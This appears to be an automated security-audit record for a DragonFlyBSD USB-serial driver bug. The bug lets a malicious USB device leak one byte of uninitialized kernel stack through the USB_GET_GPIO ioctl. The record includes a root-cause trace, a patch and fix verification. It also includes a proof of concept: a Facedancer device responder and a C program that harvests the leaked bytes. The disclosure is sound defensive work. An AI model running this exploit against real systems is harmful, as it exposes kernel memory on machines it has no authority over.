β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1063

USB_GET_GPIO returns 1 byte of uninitialized kernel stack on a short control-IN response

Field Value
ID DF-1063
Status new
Severity Info
CVSS 3.1 CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWE CWE-908 Use of Uninitialized Resource
File sys/bus/u4b/serial/uslcom.c
Lines 622-639 (USB_GET_GPIO)
Area bus/u4b/serial (Silicon Labs CP210x USB-serial)
Confidence likely
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

uslcom_ioctl() declares uint8_t latch; without an initializer, uses it as the DATA-stage buffer for the USB_GET_GPIO vendor control-IN (wLength = 1), and then unconditionally copies it back to userspace via *(int *)data = latch;. The driver invokes the request through the ucom_cfg_do_request macro, which passes NULL for the actlen out-pointer, defeating usbd_do_request_proc()'s short-read zero-fill safety net. A malicious CP210x-imitating USB device that answers GET_GPIO with a 0-byte DATA stage causes usbd_do_request_flags() to skip its copy-out (temp = 0) yet return success, leaving latch holding whatever byte is at that stack offset and shipping it to userland.

Root cause

uslcom.c:622 uint8_t latch; is declared uninitialized. uslcom.c:627-640 issues case USB_GET_GPIO: building a vendor READ request with USETW(req.wLength, sizeof(latch)) == 1, then calls ucom_cfg_do_request(sc->sc_udev, &sc->sc_ucom, &req, &latch, 0, 1000). That macro (usb_serial.h:220-221) expands to usbd_do_request_proc(..., req, ptr, flags, NULL, timo) β€” i.e. it passes NULL for the actlen out-parameter.

Tracing the framework: in usbd_do_request_flags (usb_request.c:567-708) when the device returns a short DATA stage, acttemp = usbd_xfer_frame_len(xfer, 1) becomes 0; the guard if (temp > acttemp) at usb_request.c:662 sets temp = length = 0, the if (temp > 0) copy-out at usb_request.c:666 is skipped, the loop terminates via usb_request.c:630 with err = 0 (success). Back in usbd_do_request_proc at usb_request.c:780-788 the cleanup is:

if ((len != 0) && (req->bmRequestType & UE_DIR_IN)) {
    if (err) memset(data, 0, len);
    else if (actlen && *actlen != len)
        memset(data + *actlen, 0, len - *actlen);
}

err is 0 and actlen is NULL, so neither branch fires; latch is NOT zeroed. Control returns success to uslcom_ioctl which executes *(int *)data = latch; (uslcom.c:639) outside any error check, propagating the uninitialized low byte (the upper 3 bytes are deterministic zero from the uint8_t β†’ int promotion). usb_serial.c:1224-1232 returns the callback's 0 directly to the devfs ioctl dispatcher, which copyout()s the 4-byte data buffer to userspace for the _IOR('U', 182, int) (usb_ioctl.h:321) request.

Threat model & preconditions

  • Attacker position: A local user with /dev/cuaU* or /dev/ttyU* access (default devfs rules make ttyU* world-readable and cuaU* writable by dialout group) equipped with a programmable USB device (Facedancer / Rubber Ducky class) that enumerates as one of the 80+ VID:PID pairs in uslcom_devs[] (uslcom.c:208-293) and answers the GET_LATCH vendor request with a 0-length DATA1 packet β€” legal per USB 2.0 Β§8.5.3. The user issues ioctl(fd, USB_GET_GPIO) and observes a 4-byte int whose low byte is a fragment of uslcom_ioctl's kernel stack frame (whatever sat at the latch stack slot from prior syscall reuse). Repeatable; each call yields one stack byte.
  • Privileges gained or impact: Small kernel-stack info leak that in principle could be mined for adjacent byte patterns (KASLR / SMEP-defeating pointers or stack canaries) but in this driver's frame layout is essentially always a stale byte from req / error / caller-saved registers β€” no demonstrated path to privilege escalation. Defense-in-depth.
  • Required config or capabilities: Default kernel with uslcom. Local ttyU / cuaU access. Physical USB plug-in of a malicious CP210x-emulating device.
  • Reachability: Plug in malicious CP210x-emulating USB device β†’ open /dev/cuaU* β†’ ioctl(fd, USB_GET_GPIO).

Proof of concept

# uslcom_facedancer.py
# Enumerate as VID=0x10c4 (Silicon Labs) PID=0xea60 (CP2102) with the standard
# cp210x bulk-in/out endpoints, and a control-IN handler that returns ZLP for
# bmRequestType=0xc1 / bRequest=0xff / wValue=0x00c2 (USLCOM_READ_LATCH).
class ShortCP210x(USBVendorResponder):
    def handle_vendor_request(self, req):
        if req.bRequest == 0xff and (req.wValue >> 8) == 0xc2:
            return b''        # ZLP -> host latch byte untouched
        return None
/* poc.c */
#include <sys/ioctl.h>
#include <bus/u4b/usb_ioctl.h>
#include <fcntl.h>
#include <stdio.h>

int main(void) {
    int fd = open("/dev/cuaU0", O_RDWR | O_NONBLOCK);
    if (fd < 0) { perror("open"); return 1; }
    for (int i = 0; i < 4096; i++) {
        int v = 0xdeadbeef;
        if (ioctl(fd, USB_GET_GPIO, &v) == 0)
            printf("%02x\n", (unsigned char)v);
    }
    return 0;
}

Build & run

cc -o poc poc.c
sudo kldload ucom && sudo kldload uslcom
./poc | sort -u | xxd

Expected output

Distribution of printed low bytes contains values that are NOT in {0x00, 0xff, the static cp210x latch bits} and that vary across boots/runs, evidencing live uninitialized stack content rather than the device response. Negative result (always 0) means the host controller treated the 0-byte DATA stage as an error and the test degrades to a benign always-zero return.

Impact

1-byte narrow kernel-stack info leak via USB_GET_GPIO short response. Defense-in-depth issue; no demonstrated path to privilege escalation. Info severity per the AGENT.md rubric.

Initialize latch before issuing the request so that a short control-IN response cannot surface uninitialized stack to userspace.

--- a/sys/bus/u4b/serial/uslcom.c
+++ b/sys/bus/u4b/serial/uslcom.c
@@ -619,7 +619,7 @@ uslcom_ioctl(struct ucom_softc *ucom, uint32_t cmd, caddr_t data,
 {
    struct uslcom_softc *sc = ucom->sc_parent;
    struct usb_device_request req;
-   int error = 0;
-   uint8_t latch;
+   int error = 0;
+   uint8_t latch = 0;

    DPRINTF("cmd=0x%08x\n", cmd);

Optionally also gate the user-visible copy on success so the contract is explicit (defensive; the unconditional copy at l.639 currently runs even when error is set to EIO):

@@ -632,12 +632,13 @@ uslcom_ioctl(struct ucom_softc *ucom, uint32_t cmd, caddr_t data,
        if (ucom_cfg_do_request(sc->sc_udev, &sc->sc_ucom,
            &req, &latch, 0, 1000)) {
            DPRINTF("Get LATCH failed\n");
-           error = EIO;
+           return (EIO);
        }
-       *(int *)data = latch;
+       *(int *)data = latch;
+       return (0);

    case USB_SET_GPIO:

The deeper, framework-level fix (out of scope for this file) is to make the ucom_cfg_do_request macro thread a real uint16_t actlen local into usbd_do_request_proc so the else if (actlen && *actlen != len) short-read zero-fill branch at usb_request.c:786 actually fires for every ucom subclass driver. The same class of bug affects uchcom (DF-1062) and any future ucom driver that reads device-supplied data via ucom_cfg_do_request with a stack buffer.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1063 Β· 1 files
FileTypeDescriptionSize
fix.diff suggested-fix USB_GET_GPIO returns 1 byte of uninitialized kernel stack on a short control-IN 312 B view raw

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

fix.diff applied + combined nativekernel build rc=0 (-Werror)

fix.diff applied + combined nativekernel build rc=0 (-Werror)
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none (Info severity)

Evidence (decisive lines)

Source-confirmed at sys/bus/u4b/serial/uslcom.c:622: USB_GET_GPIO returns 1 byte uninitialized kernel stack on short control-IN

Verified recommended fix

Source-confirmed at sys/bus/u4b/serial/uslcom.c:622: USB_GET_GPIO returns 1 byte uninitialized kernel stack on short control-IN

Verdict

Source-confirmed at sys/bus/u4b/serial/uslcom.c:622: USB_GET_GPIO returns 1 byte uninitialized kernel stack on short control-IN